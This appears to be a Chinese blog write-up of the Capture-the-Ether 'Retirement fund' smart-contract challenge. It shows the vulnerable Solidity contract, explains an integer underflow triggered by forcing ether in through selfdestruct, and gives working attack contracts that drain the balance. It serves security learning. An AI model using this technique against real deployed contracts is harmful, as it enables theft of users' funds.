抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Retirement fund

1. 题目

  • 1.1

  • This retirement fund is what economists call a commitment device. I’m trying to make sure I hold on to 1 ether for retirement.

    I’ve committed 1 ether to the contract below, and I won’t withdraw it until 10 years have passed. If I do withdraw early, 10% of my ether goes to the beneficiary (you!).

    I really don’t want you to have 0.1 of my ether, so I’m resolved to leave those funds alone until 10 years from now. Good luck!

  • 翻译:

  • 这个退休基金就是经济学家所说的承诺机制。我正在努力确保我在退休时保留 1 个以太币。

    我已经向下面的合约承诺了 1 个以太币,并且在 10 年过去之前我不会撤回它。如果我提早退出,我的 10% 的以太币会流向beneficiary(你!)。

    我真的不想让你拥有我的 0.1 个以太币,所以我决定在 10 年后再单独使用这些资金。祝你好运!

  • 1.2 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.4.21;

contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;

function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);

beneficiary = player;
startBalance = msg.value;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function withdraw() public {
require(msg.sender == owner);

if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}

function collectPenalty() public {
require(msg.sender == beneficiary);

uint256 withdrawn = startBalance - address(this).balance;

// an early withdrawal occurred
require(withdrawn > 0);

// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}

2.分析

  • 2.1 题目的要求是将合约的钱全部取走,而不是取走合约所有者剩下的那 0.1 ether
  • 2.2 所以我们将重点关注 collectPenalty 函数,成功执行msg.sender.transfer(address(this).balance);这行代码;而要执行这行代码执行要通过两个校验。校验一:require(msg.sender == beneficiary);验证你是否是受益人, 校验二:withdrawn = startBalance - address(this).balance > 0 验证合约所有者是否提前取款了,提前取款就可以往下执行
  • 2.3 但是我们可以通过下溢的方法让 withdrawn 的值大 0,就是让 address(this).balance 的值大于 1ehter,而合约中没有可以接收主币的函数,这就需要我们使用 selfdestruct命令,将某个合约的钱强行转给指定合约
  • 2.4 所以我们可以编写一个攻击合约,往合约中发送一点主币,再执行自毁命令
  • 攻击合约:
1
2
3
4
5
6
7
8
contract Hack {

function Hack(address _address) public payable {
// RetirementFundChallenge retiement = RetirementFundChallenge(_address);
selfdestruct(_address);

}
}

3.解题

  • 3.1 部署 RetirementFundChallenge合约

  • ![image-20240412145318323](Retirement fund/image-20240412145318323.png)

  • 3.2 部署 Hack 合约,给 RetirementFundChallenge合约 转入 1 ether

  • ![image-20240412145338663](Retirement fund/image-20240412145338663.png)

  • 3.3 调用 collecPenalt函数

  • ![image-20240412145351671](Retirement fund/image-20240412145351671.png)

  • 查看isComplete的值变成了 true

  • ![image-20240412145405659](Retirement fund/image-20240412145405659.png)

一段时间之后的二刷

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
攻击思路:
1. 先通过Helper强制给challenge合约赚钱,使得 uint256 withdrawn = startBalance - address(this).balance; 溢出
2. 通过hacker调用attack函数,完成攻击
3. 部署顺序:Hack =》 challenge =》 Helper
*/

contract Hack {

function attack(RetirementFundChallenge challenge) public {
challenge.collectPenalty();
require(challenge.isComplete());
tx.origin.transfer(address(this).balance);
}

function() external payable {}
}

contract Helper {

function Helper() public payable {}

function selfdestruct_(address challenge) public payable {
selfdestruct(challenge);
}
}

评论



政策 · 统计 | 本站使用 Volantis 主题设计